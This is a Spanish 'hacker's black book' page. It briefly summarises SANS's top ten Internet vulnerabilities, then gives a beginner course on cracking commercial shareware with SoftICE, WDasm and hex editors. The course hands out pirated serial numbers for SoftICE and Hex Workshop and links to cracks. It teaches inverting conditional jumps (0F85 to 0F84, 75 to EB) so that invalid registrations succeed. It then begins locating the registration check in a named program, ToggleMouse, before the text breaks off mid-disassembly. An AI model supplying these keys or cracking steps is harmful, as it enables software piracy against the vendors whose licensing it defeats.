El Libro Negro Del Hacker2

November 29, 2017 | Author: corin tellado | Category: Bit, Windows Registry, Computer File, Programming Language, Digital Technology
Share Embed Donate


Short Description

Download El Libro Negro Del Hacker2...

Description

1 LIBRO NEGRO DEL HACKER 2

Sans Institute publica un documento en el que se describen los diez problemas de seguridad más críticos y habituales en Internet -actualmente-, con el fin de que los administradores de sistemas cierren los problemas más comunes y más habitualmente utilizados. El documento, en inglés (aunque existe una traducción al castellano), se actualiza con relativa frecuencia y debería ser revisado a menudo. Además de la vulnerabilidades en sí, se ofrecen consejos y recomendaciones para reducir riesgos. Las diez vulnerabilidades más comunes son: BIND (named) Es el servidor de nombres más popular de Internet, pero las versiones anteriores a la 8.2.2patch5 son vulnerables a numerosos ataques capaces de proporcionar nivel "root" al atacante. CGIs y extensiones en los servidores web Hay que auditar cuidadosamente todos los CGIs accesibles en los servidores web, incluyendo los CGIs que vienen por defecto. Adicionalmente, extensiones como FrontPage y ColdFusion pueden ser inseguros por sí mismos, o contener ejemplos atacables. Vulnerabilidades en sistemas de llamada a procedimiento remoto (RPC), tipo rpc.ttdbserverd, rpc.cmsd y rpc.statd Aunque son conocidos desde hace tiempo, estos fallos siguen presentes en numerosos equipos. Vulnerabilidad RDS en el servidor web de Microsoft (IIS) Diversos errores de seguridad en el Remote Data Services (RDS) permiten a un atacante el ejecutar comandos con privilegios de administrador. Sendmail Sendmail es el servidor de correo (MTA) más utilizado en el mundo UNIX. Los administradores de dichos sistemas deberían mantener el servidor permanentemente actualizado. sadmind y mountd Estos procesos, si no han sido actualizados, contienen errores que permiten la ejecución de código arbitrario como "root". Compartición de discos e información vía NetBIOS, NFS y AppleShare - Deben compartirse sólo los directorios imprescindibles, y sólo desde las máquinas imprescindibles. - El acceso por red a dichas máquinas debe ser el imprescindible. - Las claves empleadas deben ser robustas. - El control de acceso no debe basarse en información DNS, sino en direcciones IP. Cuentas sin clave o con claves de baja calidad

2 Esto es espcialmente grave cuando las cuentas en cuestión tienen privilegios especiales. Vulnerabilidades en los servidores IMAP/POP Estos servicios gestionan los buzones de los usuarios y les proporcionan acceso a su contenido. Normalmente no están protegidos por cortafuegos, ya que suele ser necesario proporcionar el servicio a usuarios desplazados fuera de la red local. "Comunidades" (claves) SNMP por defecto Numerosos equipos con capacidades de administración y monitorización remota vía SNMP (Simple Network Management Protocol) son desplegados sin modificar las claves (comunidades) por defecto. FUENTE ; HISPASEC

CURSO SUSCEPTIBLE A CAMBIOS Reverse Engineering Edición Azul Curso 1 ... la definición crack. Temas: 0.-Ingeniería Inversa, Introducción 1.-Conceptos 2.-¿POR DONDE RAYOS COMENZAR? 2.1-CONOCIMIENTO BÁSICO DE ENSAMBLADOR 3.-ENFATIZANDO CON LAS HERRAMIENTAS 4.-La primera Aproximación 4.1-Teórico, ahora, práctico 4.1.0-Una pequeña explicación. 4.2-Muerte a los bytes. 5.-El registro de Windows 6.-Recomendaciones 7.-¿Donde puedo encontrar más información? 8.-Mis palabras finales ... =)

--------------------------------------------------------------------------------Ingeniería Inversa, introducción. Este tutorial está creado por que realmente no me sentí muy satisfecho con los otros cursos que hice, realmente pienso .. no quedaron de mi agrado así que los eliminé y los reemplacé con estos,así que el que quedó leyendo mi otro curso, despídanse, empezaremos desde 0 ... este tutorial está hecho especialmente para los que no entienden lo que es la Ingeniería Inversa, desde ahora le llamaremos cracking espero poder ayudarlos en todo lo que pueda, y si no, haré lo mejor ... La ingeniería inversa se basa en quitar, remover, suspender uno o más temas de protección de alguna aplicación ya siendo comercial y otras. Muchos consideran esto como un arte. En

3 este curso pienso ayudar a personas quén interesadas al respecto, y incluso a los mismos programadores. Se les enseñará a no ser tan 'cuadrados' de mente pensando en intereses comerciales, se les enseñará a crackear sus propios programas, e ir aumentando sus niveles de protección, en este primer curso aprenderemos algo mínimo en cuanto a reventar protecciones de programas, mas que nada, hablaremos de teórico. Por hoy se aprenderá el uso de la ingeniería inversa bajo el sistema operativo en Windows 95 y/o 98. Empezaremos por cosas muy básicas. Sólo les pediré las siguientes cosas para que comienzen a crackear :

Un Computador -=(Mayor o igual a 16 Mb. de RAM, mayor de 486 a 33) Un disco duro de 1 Gb. UN CEREBRO Instinto y perspicacia. Las ganas. Algo de conocimientos básicos a medios (Como que es la RAM, programar, uso de Win95) Si es posible, algo de conocimientos de ensamblador, si es que no es así, los ayudaré en lo que pueda. Yo creo que tienes los dos primero ítems, ya que ahora solo salen pentiums III y pocaso los II... Al mismo tiempo aprenderemos a crackear a conocer los aspectos de una PC, cómo funciona, qué hace, y como es que se ejecutan las cosas. Creo que debo explicarles otras cosas también pero las aprenderemos en el transcurso de estos laaargoos capítulos. 1. - CONCEPTOS Empezaremos por pensar en qué es un sistema operativo, es la base por la cuál un programa (en este caso Windows 9x) domina el inicio de las rutinas para procesar datos en el disco duro. (suena enredado, pero piensa que se trata de un programa que hace que se 'inicie' el disco duro ..) .. ya sabemos cuál programa está dominando en tu equipo, si es que usas una apple macintosh, busca en altavista 'MAC CRACK', y encontrarás hechos al respecto. Muy bien, imaginemos un programa a crackear, o sea, ¿Qué queremos hacerle al crackearlo? .. vamos a eliminar diálogos o partes que digan .. 'Cómprame' .. 'gasta dinero' ... por un programa que usas, y por ejemplo,un programa que usas te pide que lo compres utilizando una tarjeta de crédito (p.e. MasterCard*Visa), y que lo compres por ejemplo en http://www.buynow.com , del cuál te pedirá el nombre, número de tarjeta de crédito y cuando expira, así harán una cybercompra arrugando tus bolsillos ... ¿No? ... si no te ha pasado revisa entre tus cosas esos CD's de revistas .. verás mucho material para crackear allí, todavía no sabes crackear, así que aprenderemos aquí. Imagina que este programa tiene un cuadro de diálogo que te pide un nombre y una contraseña, y esta contraseña se te da cuando compras el programa. y cuando la introduces en el programa, el programa te dirá "Gracias por registrarse" lo que prácticamente quiere decir que : "Gracias por gastar su dinero en este programa" .. nuestro objetivo para este y solamente este programa será estudiar el porque cuando introduces una contraseña errónea te dice "Contraseña incorrecta" ... y modificar esta sentencia o ver como es que forma la contraseña ... llamaremos desde ahora a MS-DOS ->DOS, a Windows 95 le llamaremos ->Win95. ¿Por

4 qué digo solamente para este programa? .. pues existen varias protecciones distintas, como las de tiempo (cuánto tiempo usas un programa) .. las de usos (Cuánto puedes usar un programa, p.e. 6 veces)... y otras por allí ... Cada vez los programadores están desarrollando peores protecciones para los programas... y a veces son buenas... (no demasiado y pocas veces).. esto ocurre cuando los programadores crean los programas en pensamientos comerciales y 'monetarios' .. y lo peor de todo es cuando esto sucede gracias a la estúpida sociedad en que vivimos donde la gente esta propensa a que cuando se tiene dinero, no se hacen las cosas por placer. se hacen con mentes comerciales. 2. - ¿POR DONDE RAYOS COMENZAR? Empezaremos por saber que rayos necesitaremos para esto de la ingeniería inversa. Pueden ser encontrados en HERRAMIENTAS Depurador/Debugger: Es un programa que sirve para "depurar" programas, me explico, cuando se ejecuta un programa y lo 'depuras' .. Te vas deteniendo en cada paso que ejecuta el programa, al mismo tiempo cuando lo depuras por ejemplo en el programa llamado "softice", este es un programa para depurar (el más famoso) vas viendo el programa depurándose en ensamblador o mas bien conocido como assembler, explicaré assembler básico más adelante ... Lista de depuradores mas comunes : Debug (De MS-Dos), Soft-Ice (El más usado), TR (para dos y Win) Editor Hexadecimal: Es un programa que permite 'editar' archivos, en forma hexadecimal y poder cambiar bytes en él, mas adelante aprenderemos el sistema hexadecimal y binario. Lista de editores hexadecimales más comunes : Hex Workshop (Win95), Ultraedit (Win95), Hacker's View (Dos) Monitor del registro:Para ocasiones en que los programas guarden sus datos de registro en el sistema de Windows, siempre servirá este programa .. más adelante se explicará acerca de este famoso registro de 'windows'.. Lista de monitor : Registry monitor (Win95). Descompresor: Algunos programas. Más en sí sus ejecutables, vienen comprimidos con ejecutables de otras compañías , por ejemplo el famoso IconForge, este programa no permite ser desensamblado... Existe un programa llamado shrink, que protege los ejecutables (EXE), con este puedes usar por ejemplo el Deshrink, que descomprime los archivos protegidos con Shrink.. Y así es posible desensamblar y modificar algunos segmentos... Creo que todavía ya los estoy confundiendo . Lista de descompresores comunes : Deshrink, PeUNLOCK, etc. miles más ...

5 Monitor de archivos: Algunos programas crean archivos temporales con los registros correctos, y cuando se vuelven a ejecutar los programas, verifican la información del archivo temporal y si es que no es correcta se borra, el monitor de archivos ve los archivos que se crean ... (p.e. UltraEdit, este pide un número de registro, y para comprobar nos dice que necesita reiniciar para comprobar, este crea un archivo llamado uedit.reg). Lista de monitor : File Monitor. Desensamblador (Disassembler): Podemos depurar un programa en el instante, pero también podemos desensamblar un programa, o sea, ver lo depurado en el instante, pero tranquilamente podemos estudiar las rutinas sin tener que depurar 'En el momento'. Lista de monitor : IDA (Dos*32 Bits), WDasm, Sourcer 7, etc. . . 2.1 - CONOCIMIENTOS BÁSICOS DE ENSAMBLADOR (Assembler) Primero : ¿ Por que digo desensamblar o depurar? .. cuando un programa está hecho en otros lenguajes de programación (p.e. C - C++, Visual Basic, Delphi, Pascal) y lo 'compilas'.. o sea, lo dejas en ejecutable(.EXE, .COM) primero, ¿Qué es compilar?, hablemos superficialmente de aquello.. imaginemos que tenemos un código fuente de un programa (supongo que sabes que es eso), y el programa tiene la función de hacer lo siguiente ... Muestrame Un mensaje, el mensaje dice 'Hola a todos', y cuando lo muestres, que suene un pitído, al mismo tiempo, pinta las letras de color verde. Este es un pequeño programa que puede ser hecho en varios lenguajes, pero .. ¿El computador puede entender estas letras humanas y este lenguaje que nosotros entendemos? NO!, para eso necesitaremos un compilador, este transforma este código en un lenguaje llamado 'máquina', que convierte nuestro programita en un .EXE que el procesador sabrá ejecutar, y entonces, tendremos un programa. Al mismo tiempo estamos protegiendo nuestro código, ¿Por que?, por que si le damos el código a cualquiera, pueden modificarlo ¿o no?.. por ejemplo si tengo el código de arriba puedo modificarlo para que sea así: Muestrame Un mensaje, el mensaje dice 'MUERANSE TODOS!', y cuando lo muestres, que suenen dos pitídos, al mismo tiempo, pinta las letras de color azul. Claro que ahora están saliendo descompiladores. que revierten el ejecutable a el código fuentee. Para variar me volví a desviar, quedamos en qué era un desensamblador, bueno, cuando creamos un programa en Delphi, Pascal, Etc. lo compilados, el desensablador puede 'desensamblar' el program para dejarlo en Ensamblador para la ingeniería inversa. Ensamblador es un lenguaje de programación de bajo nivel, ¿ Qué significa bajo nivel ?... pues al revés de un lenguaje avanzado como 'C', o uno medio como Pascal que son lenguajes para crear programas.. que son de alto nivel.. el lenguaje de bajo nivel es una manera de decir que mientras 'Mas programemos o más programa creemos menos control tendremos de este..'.

6 Este lenguaje les va ayudar mucho ... Si prestamos atención a este pequeño código fuente, no lo entenderán si no saben acerca de ensamblador.. si es que es así . Les ayudaré con los tipos ...

MOV AX,1111h MOV BX,1112h CMP AX,BX JB saltobueno HLT saltobueno: DEC BX CMP AX,BX JNE Acaba JE Continua Continua: DEC BX CMP AX,BX JE Acaba JB Acaba JG Acaba Acaba: XOR AX,AX XOR BX,BX -------------------------------------------------------------------------------¿Que rayos significa esto? ¿Estudiaremos todo lo que hace este pequeño texto, e iremos aprendiendo para seguir adelante en nuestro curso.. empezaremos por aprender que es ax y bx mostrados en la primera instrucción. Primero que nada, no son solo estás dos palabras, en total son las siguiente palabras : AX, BX, CX, DX ... pero .. ¿que son estás palabras? ... estas palabras son registros de datos, o sea, que contienen información en ellas para cálculos y otras cosas en general. Digamos que guardan datos temporales de la 'memoria'. tocaremos de manera superficial este tema ya que está curso de aesoft que les puede ayudar al respecto muy meticulosamente. Pensemos que estos registros son para acumular datos en memoria temporalmente .. ¿Ok?.. pensemos ahora que un equipo estándar con Win95 Usa 32 Bits, los registros para 16 bits (Windows 3.11, piénsenlo así) son Ax, Bx, Cx, Dx.Pero si queremos trabajar en 32 Bits, o sea Win95, tendremos que agregarles una E para depurarlos en Win95, (P.e. Eax, Ebx, Ecx, Edx).. Me Explico nuevamente, en windows 95 se usan datos de 32 Bits(Para guardar datos)... si estamos trabajando en Windows 3.11 o dos(Versión anterior de Win95, y el añorado DOS) trabajaremos para guardar datos en 16 bits. Si trabajamos en DOS o en WIN 3.11, deberíamos ver los registros de datos como AX,BX,CX,DX, si trabajamos en Win95 serían así EAX,EBX,ECX,EDX. (Si ves en alguna parte registros de 16 bits. como AH no te sorprendas, es que se separan AX,BX,CX,DX .. ¿Cómo? .. AX se separa en AH y AL, BX se separa en BH y BL... y así

7 sucesivamente.) Ahora imaginemos que tenemos estos registros, ¿cada uno debe tener un valor o no?.. claro, y para este segmento de un código fuente tenemos el comando mov, el cuál en inglés significa move, el cuál significa mover, o sea que 'mueve' el valor 1111 a Ax, y mueve el valor 1112 A Bx, ¿Por qué la h? significa que está en hexadecimal, y tal como dijo Hot Byte en su curso, aprenderemos a transformar de decimal, hexadecimal, binario. Decimal a binario (Todo esta siguiente explicación gracias a Hot Byte):

Decimal Binario 00 11 2 10 3 11 4 100 5 101 6 110 7 111 8 1000 9 1001 10 1010 Aquí se presenta la conversión de binario decimal:

Si tenemos el número : 1 1 0 0 1 La conversión sería : 1*2 0 1*2 1 0*2 2 0*2 3 1*2 4

y en decimal es : 1 +2 +0 +0 +16 = 19 El * lo utilizo para multiplicar ... y el número pequeño, es elevar o potencionar (si no sabes, estas muerto).. ahora pongamos el primer número, 1*2, quedaría 2, si lo elevamos a 0 siempre y siempre quedará 1, cualquier número elevado a 0 siempre dará 1, además si te diste cuenta, dependiendo de los números que se van agregando en binario para que se vaya aumentando en 1 el exponente (0,1,2,3,4...). En este caso hemos logrado satisfactoriamente convertir el binario 11001 en del decimal 19. Otra cosa! debes tener claro que en la computación se usa para potencionar el signo '^'.. Sigamos ... Pero primero les aconsejaría tener una calculadora científica a mano:

8

A continuación me apoyaré en el instituto de investigaciones de México para apoyar lo que voy a decir: La división de un número entre dos es objetiva, cuando se divide y queda entre comas el resultado(p.e.:15,3), quedarán 'residuos',(15,3 con esto decimos todo. saltobueno: ; si te das cuenta, hemos puesto saltobueno: con ':' al final, para declarar que es una función. DEC BX

10 DEC, ¿Qué es esto? .. viene de la palabra inglesa 'decrease', que significa decrementar o disminuir, y entonces disminuirá el valor BX (1112) en 1 y quedará 1111. Dec sirve para quitar solamente 1. CMP AX,BX ; Después de programar comprobaººrá que Ax con BX ahora valen lo mismo JNE Acaba JE Continua Trataré de explicar, JNE es un salto también, JNE significa = Salta si no es equivalente, y JE es el contrario de JNE, o sea JE = Salta si es equivalente, dime.. ¿crees que la función JNE se va a ejecutar? .. piensa tu respuesta. Continua: DEC BX ; Ahora BX vale 1110h ¿ Ahora te diste cuenta que disminuimos nuevamente a BX ? CMP AX,BX ; comprueba nuevamente a AX con BX JE Acaba JB Acaba JG Acaba JE = Salta si es equivalente, (Saltará? .. no ..) JB = Salta si es inferior,(No es menor, no saltará) JG = Salta si es mayor, en este caso, saltará.. AX es mayor que BX. Acaba: XOR AX,AX XOR BX,BX ; AX y BX valen ahora cero. XOR torna los registros en 0. Si tomamos todo lo que decía toda la sentencia de este mini programa en ensamblador es como si se tomara esto : Ax = Javier - Bx = Federico (Bueno para el pic..), Javier tiene ahora (mov ax,1111h) 1111 Condones, y Federico tiene 1112(mov bx,1112h) Condones, para comprobarlo los cuentan(cmp ax,bx) y por que Javier tiene menos se van al prostíbulo(JB Saltobueno), y en el prostíbulo(saltobueno:), Federico se gasta uno (Dec bx), después nuevamente los cuentan (cmp ax,bx). Se dan cuenta que no están disparejos (JNE acaba) y que tienen los mismo, pero después se van al basurero municipal(JE continua), y Federico necesita solo 1110, así que bota uno (Dec bx). Los cuentan nuevamente (cmp ax,bx), después cuentan si tienen los mismos (JE acaba) y no tienen lo mismo. Después ven si Javier tiene menos(JB acaba), no, no tiene menos, después ven si Javier tiene más, si tiene más,(JG acaba), después se aburren, y los van a bota todos (acaba:) ... Javier los quema todos(XOR AX,AX), y Federico también (XOR BX,BX).

-------------------------------------------------------------------------------Hexadecimal Assembler Significa 75 o 0F85 jne Salta si no es equivalente 74 o 0F84 je Salta si es equivalente EB jmp Salta directamente a . . . 90 nop ( No OPeration ) Sin operación

11 77 o 0F87 ja Salta si esta sobre OF86 jna Salta si no esta sobre 0F83 jae Salta si esta sobre o igual 0F82 jnae Salta si no esta sobre o igual 0F82 jb Salta si es inferior 0F83 jnb Salta si no es inferior 0F86 jbe Salta si esta debajo o igual 0F87 jnbe Salta si no esta debajo o igual 0F8F jg Salta si es mayor 0F8E jng Salta si no es mayor 0F8D jge Salta si es mayor o igual 0F8C jnge Salta si no es mayor o igual 0F8C jl Salta si es menor 0F8D jnl Salta si no es menor 0F8E jle Salta si es menor o igual 0F8F jnle Salta si no es menor o igual -------------------------------------------------------------------------------Según por lo que hemos visto hasta ahora los términos que nos podrían servir serían : Cmp xx,xx = (X = Registro) Compara valores de un registro y a sea AX,BX,CX,DX (Recordad que pueden ser de 32 bits, o sea, (E)AX, (E)BX, (E)CX, (E)DX.) .. Que recomendación podría darte cuando en futuros casos te encuentres con estas comparaciones ? :-Intercéptalas cuando están en plena comprobación-:] Jne xxxxx = Cuando saltes a una dirección por ejemplo; cuando saltes a una ventana de error diciendo que te registraste mal, y estés después de una comprobación ... :-Revierte los saltos! así pensará que no es equivalente-:, me explico, si nos encontramos con una operación de registro que dice así:

014F:00401DD 3BC7 Cmp eax, edi 014F:00401DE 0F85061DC1FF Jne 00401DF ; 000401DF es una dirección de ejemplo, cuando tengamos que desensamblar un programa será así. 014F:00401DF "Registro Falló" El texto solo por ejemplo de lo que sería un registro fallido. Lo que podemos hacer aquí es "invertir" el salto tal como lo mencionamos anteriormente... lo que está en COLOR lo puse así para que reconocieran que esta es la instrucción en hexadecimal, para invertir miremos la tabla que tenemos arriba, tendríamos que cambiar la instrucción 0F85061DC1FF por 0F84061DC1FF ... en muchos otros casos más se puede usar este método... no solo en la instrucción JNE, también se puede usar en otras instrucciones, así, estaremos revirtiendo la comprobación, y pensará ... : La comprobación original tiene esta apariencia : 'Si no es el número correcto, entonces, saltará al error' ... pero la cambiaremos para que diga .. 'Si el número no es correcto... entonces... registro Exitoso!'... así estaremos burlando la protección del programa; pero nos podremos encontrar algún día con alguna protección así:

12 :004049CD 755A jne 00404A29 Lo que podemos hacer es hacer que sea un salto directo, o sea reemplazando 755A con EB5A .así quedaría en un JMP 00404A29... Todavía los tengo enredados con la parte teórica, pero con los ejemplos nos acostumbraremos con los ejemplos que tendremos .. Test xx,xx = Estas instrucciones no se las he mostrado, pero también son rutinas de verificación, también podemos poner una interrupción aquí.

-------------------------------------------------------------------------------3. - ENFATIZANDO CON LAS HERRAMIENTAS Tendremos que usar nuestras herramientas, acostumbrarnos a ellas, sentirlas, experimentar, provocar errores, aprender de ellos. usemos nuestras herramientas, vamos a probar con ellas, descarguemoslas todas desde una sola vez ...

-------------------------------------------------------------------------------Depuradores Soft-Ice :-Nuestro añorado depurador, descarguemos la versión completa Aquí, vamos a descargar la versión 4.0 para Windows 95., ya que no necesitaremos más que eso. Si no me equivoco son 16 Mb. Si es que no funciona, prueben esta. Podremos usar este con mayoría, será nuestro depurador. Configuración se Soft-ICE: Desde ahora le llamaremos SICE, y cuando lo instales deberás correr por las siguientes configuraciones . . ., desde la 1ra configuración hasta la 3ra serán configuraciones de instalación. 1ro: Requerirá de una contraseña: Cómo todavía no les he enseñado nada, les daré la contraseña : 4111-36143B-B7 Desde ahora a las contraseñas les llamaremos seriales 2do: Configuración de tarjeta de vídeo: SoftIce prácticamente detectará tu tarjeta de vídeo, si es que no es así, elije la tarjeta 'super vga'. Deberás hacer la prueba de vídeo con el botón 'test'. 3ro: Modificación de tu AUTOEXEC.BAT: deberás saber que es tu autoexec.bat, si no sabes lo que es el autoexec.bat, puedes rendirte.. abandona este curso... si lo sabes, SoftIce se cargará en tu Autoexec.bat para que se inicie cada vez que parte tu computador. Si es

13 que te llegan a ocurrir esos típicos errores de Windows, SICE se cargará, antes del error y a veces puede ser molesto y a veces puede dejar el error más grande aún. Así que te recomiendo que cuando comenzemos a crackear no lo cargues en el autoexec.bat, si no crea un bat. Si es que lo instalaste en nuestro directorio C:\Archivos de programa\Numega\softIce\ . Podré ayudarte, pon esta línea en un bat. Si es que elegiste que no modificara tu autoexec. deberás salir de windows en modo ms-dos, y cargar el bat.. C:\ARCHIV~1\NUMEGA\SOFTIC~1\WINICE.EXE 4to: Una vez instalado lanzar Symbol Loader: deberás lanzar el 'symbol loader', ir al menú edit, luego a SoftICE initialization settings. en donde dice 'Initialization string' debes poner X;wl;wr;wd7; code on;, y en donde dice 'History Buffer size (KB)' debes poner '512'. 5to: Con un editor de texto: Debes abrir el fichero 'Winice.dat' que esta el el directorio en donde instalaste el SICE, y habrán líneas en donde se dice ';EXP=', a todas las líneas deberás quitarle el ';' al comienzo para que queden así 'EXP='. Mas tarde explicaré el porqué de esto. 6to: Una vez hechos los cambios: Reiniciar el equipo para poder lograr la completa actualización de los cambios que hemos hecho

-------------------------------------------------------------------------------Desensambladores WDasm :-No es el mejor, pero lo utilizaremos al comienzo, para seguir avanzando, es un desensamblador. Luego comenzaremos a utilizar el llamado IDA (Interactive DiSassembler) puedes descargarlos de una serie de mirrors, como siempre les daré 2 solamente,este y este. IDA (Interactive DiSassembler) :-El mejor desensamblador, todo lo teórico que he hablado se entenderá en cuanto hagamos nuestro ejemplo volar por las nubes. Lamentablemente los mirros que tengo, uno es de la versión nueva y otro de una versión mas antigua.

-------------------------------------------------------------------------------Editores Hexadecimales UltraEdit 6.x :-Uno de los mejores editores hexadecimales, gracias a dios que el shareware lo reparten gratuitamente en http://www.ultraedit.com , pronto aprenderemos a crackear nuestras propias herramientas, es lo primero que debemos hacer. Este lo vamos a dejar para el segundo capitulo, les regalaré el crack de todas las siguientes herramientas por el solo hecho de ser principiantes.

14

Hex Workshop 2.54 :-Otro de los mejores editores existentes, también requiere de crackeo .. se puede descargar aqui . Y el serial de este programa es : B5-45678. Hacker's View 6 :-Para mi simplemente el mejor editor existente... NO SE FIJEN EN MI PALABRA! ENCUENTREN SUS HERRAMIENTAS FAVORITAS! descarguen Hacker's View aquí y el crack por aquí.

-------------------------------------------------------------------------------4. - LA PRIMERA APROXIMACIÓN

He aquí nuestra primera aproximación, nuestro objetivo fue escogido al azar, y es un típico ejemplo de una combinación serial/fácilismo, debo mencionar que podremos seguir con muchas protecciones distintas. Empezaremos con protecciones fáciles y luego seguiremos con distintos esquemas de protección, aumentando así nuestro nivel poco a poco. Ejemplo nº1 :

Nombre : ToggleMouse Tamaño del ejecutable: 618.486 Bytes Versión : 3.4.3 Ubicación : http://kutcracks.virtualave.net/kutfilez/toggle.zip Nombre del ejecutable : Togglemouse.exe Tamaño del zip:418 Kb Características : Programa que permite generar utilidades con el Mouse Protección : Sencilla Tiempo estimado : 20 Minutos (Para ayudar a los principiantes) Tipo de protección : Serial*Registro*Tiempo Precio : 14.95 Dólares americanos + 4.00 por compra y resguardo en diskette Limitaciones : 30 Días de prueba + 7 Días de terminación extra + Una pantalla que nos dice que tenemos que registrarnos. Herramientas a utilizar : WDasm, Editor hexadecimal, Zen Cracking. Primero que nada tenemos que familiarizarnos con el programa, ejecutemoslo, exploremos, y por un momento olvidemonos que se tiene que comprar, exploremos, miremos, probemos, enfatizemos con el programa. Después de hacer varias pruebas con el programa, le doy 2 puntos y medio de 5, fue de mi agrado. Recordemos que solo crackeamos para extender el periodo de prueba de un programa para probarlo al máximo de sus capacidades. Y para aprender de él. En este caso estudiaremos este programa paso a paso para ver qué es lo que hace y cómo lo hace .. ¿Listos para comenzar? 4.1 -Teórico, ahora, práctico. Ok, vamos a abrir este bebé, se preguntarán qué es el zen cracking.. le llamaremos Zen Cracking a la manera en que usamos nuestra mente para pensar en cómo funciona un

15 programa, y por donde atacaremos ... algo así, no se puede explicar, sin embargo ud. mismos lo aprenderán en el transcurso de este largo curso, sin que yo les diga poco a poco de que se trata. Vamos a empezar por averiguar el cómo usar nuestras propias herramientas, al mismo tiempo que vamos interactuando con el programa, te recomendaría que imprimieras este curso ya que con reiniciar e instalar softice y las herramientas se verá difícil estar cambiando de ventanas para leer mientras tratas de crackear el programa.

Empezemos con nuestro amado programa, primero que nada, instalemos el WDasm, y corramos su ejecutable, apareceremos en una ventana típica de programas hechos en Windows, en el menú Disassembler. Open file to disassemble. Ahora, abramos nuestro ejecutable 'togglemouse.exe', y verán cómo la barra avanza la barra de progreso. Cuando termine, no empezaremos a crackear enseguida, si no que exploraremos las funciones de Wdasm para conocerlo mejor. Primero, conoceremos las referencias de datos (String data references). Si prestas atención a un botón a la esquina superior derecha. Al lado del botón de la impresora. Miremos la figura a continuación:

sabemos que si presionamos el primer botón abriremos otro archivo, si presionamos el segundo botón, guardaremos en un archivo el otro archivo ya desensamblado. Para este caso, usaremos referencias de cadenas, presionemos en aquel botón y veremos un listado de diferentes cadenas a las cuales llama el programa. Ejecutemos el programa ToggleMouse, en este caso veremos una carpeta que dice 'Order' (Ordenar), y aparecerá un botón que nos parecerá interesante... 'Click here to enter your registration code'(click aqui para poner tu código de registro). Le daremos un click y veremos una ventana diciendo que pongamos nuestro nombre, compañia, y nuestro código de registro(serial). Escribamos un nombre p.e. 'M@NIAC PC', luego, una compañia p.e. 'KUt', y un serial cualquiera como '1234567890'... aparecerá un diálogo diciendo 'The registration information you have entered is not valid. Please confirm that you have entered the information exactly as it was provided', tienes que saber aunque sea un poco de inglés básico para saber que esto es decir 'La información escrita no es válida. Por favor confirme que ha escrito la información tal como se le fue dado'...Nuestro objetivo por esta vez en Wdasm, será buscar cadenas relacionadas con registros(o sea, diálogos de compra y serial) .. busquemos y las cadenas que me aparecieron y encontré algo fueron: String Resource ID=00157: "EconoClick has saved you %d clicks." String Resource ID=00158: "You haven't taken advantage of the EconoClick feature." String Resource ID=00159: "You've clicked %d times, double-clicked %d times, right-clic" String Resource ID=00160: "You haven't used the PopDesk feature yet." String Resource ID=00161: "You have used the PopDesk feature %d times." String Resource ID=00162: "Your web browser will now be started and the Toggle Software" String Resource ID=00163: "Your web browser could not be started automatically. Please " String Resource ID=00164: "Registration is Complete!Thank you very much for registeri" String Resource ID=00165: "The registration information you have entered is not valid."

16 String Resource ID=00166: "Dear Customer,Our registration system has changed and in o" String Resource ID=00167: "On some systems, color scrolling cursors may flicker while y" String Resource ID=57344: "ToggleMOUSE" String Resource ID=61446: "an unnamed file" String Resource ID=61472: "No error message is available." String Resource ID=61473: "An unsupported operation was attempted." String Resource ID=61474: "A required resource was unavailable." String Resource ID=61475: "Out of memory." He remarcado las cadenas queme parecieron interesantes, si te acuerdas, la segunda que remarqué te parece conocida .. ¿Verdad?.. y la primera si es que te diste cuenta es la cadena que te dice que te registraste bien, en el cuadro de diálogos de Wdasm demosle click sobre la cadena 'Registration is Complete!...' para ver de que se trata, pero realmente no nos interesará esto ya que buscamos el por qué se produjo el error, o sea, demosle doble click a la cadena 'The registration information ...' y veremos lo siguiente :

* Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0040E82A(C) | :0040E8DF 6AFF push FFFFFFFF :0040E8E1 6A10 push 00000010 * Possible Reference to String Resource ID=00165: "The registration information you have entered is not valid." | :0040E8E3 68A5000000 push 000000A5 :0040E8E8 E840F70100 call 0042E02D :0040E8ED EB2F jmp 0040E91E Con esto los tengo confundidos, ya que hay 2 cosas que no les enseñe de ensamblador antes, la función push, y call, a call, tal como lo suena su nombre en inglés 'llama' a funciones. En este caso llamará a otras funciones para que se ejecuten (jne,mov, etc.) Daré este código pequeño para que vean de que se trata la función 'call'.

mov ax,23h ; mueve el valor de 23 a AX call muevete ; llamada a 'muevete xor ax,ax xor bx,bx muevete: ; declara la función 'muevete' mov bx,24h ; mueve el valor 24 a BX ret ; otra función no vista, ret 'retorna' a la función.., retorna desde el call hacia adelante. Una vez terminada la función 'muevete' volverá a la instrucción siguiente después de la 'llamada', o sea, seguirá desde el xor ax,ax en adelante por el ret, y con esto dejará a AX y BX en 0. Por las instrucciones XOR.

17 El comando push pone un valor en el tope de la 'pila', me explico. Si decimos como arriba push 00000000 sería mover el valor a la memoria. O sea como mover el valor 00000000 (Que es igual a 0) a la memoria6 para que quede con ese valor, esta memoria es como 'la cima' de los registros. (Como dice Ed!son, el Push es para guardar valores para su uso posterior) Sigamos con lo nuestro, tenemos la palabra "The registration information you have entered is not valid.", pero si prestamos atención veremos que arriba tiene escrito ' Referenced by a (U)nconditional or (C)onditional Jump at Address:' lo que significa 'Tiene una referencia de un salto (c)ondicional o (i)ncondicional de la dirección", esto quiere decir que la instrucción de error ("The registration information ...) Fue llamada desde una dirección, y nos aparece el siguiente texto: * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0040E82A(C) Para esto quiere decir que la cadena de error fue llamada desde la dirección 0040E82A, tenemos que presionar el botón 'IR A UBICACIÓN', o ir al menú 'Goto' (Ir a..) y ver 'Goto Code Location'.. y escribiremos la dirección de la cuál se llama, o sea 0040E82A, iremos ahí y nos encontraremos con el siguiente pedazo de código: * Possible Reference to Dialog: DialogID_7801, CONTROL_ID:0064, "" | :0040E794 6A64 push 00000064 :0040E796 8BC3 mov eax, ebx :0040E798 33D2 xor edx, edx :0040E79A 59 pop ecx :0040E79B F7F1 div ecx :0040E79D FF7508 push [ebp+08] :0040E7A0 8BF0 mov esi, eax :0040E7A2 8BDE mov ebx, esi :0040E7A4 81F321332153 xor ebx, 53213321 :0040E7AA E8E1570000 call 00413F90 :0040E7AF 3DD7E7FC00 cmp eax, 00FCE7D7 :0040E7B4 59 pop ecx :0040E7B5 0F8434010000 je 0040E8EF :0040E7BB FF7508 push [ebp+08] :0040E7BE E8CD570000 call 00413F90 :0040E7C3 3D00A02E02 cmp eax, 022EA000 :0040E7C8 59 pop ecx :0040E7C9 0F8420010000 je 0040E8EF :0040E7CF FF7508 push [ebp+08] :0040E7D2 E8B9570000 call 00413F90 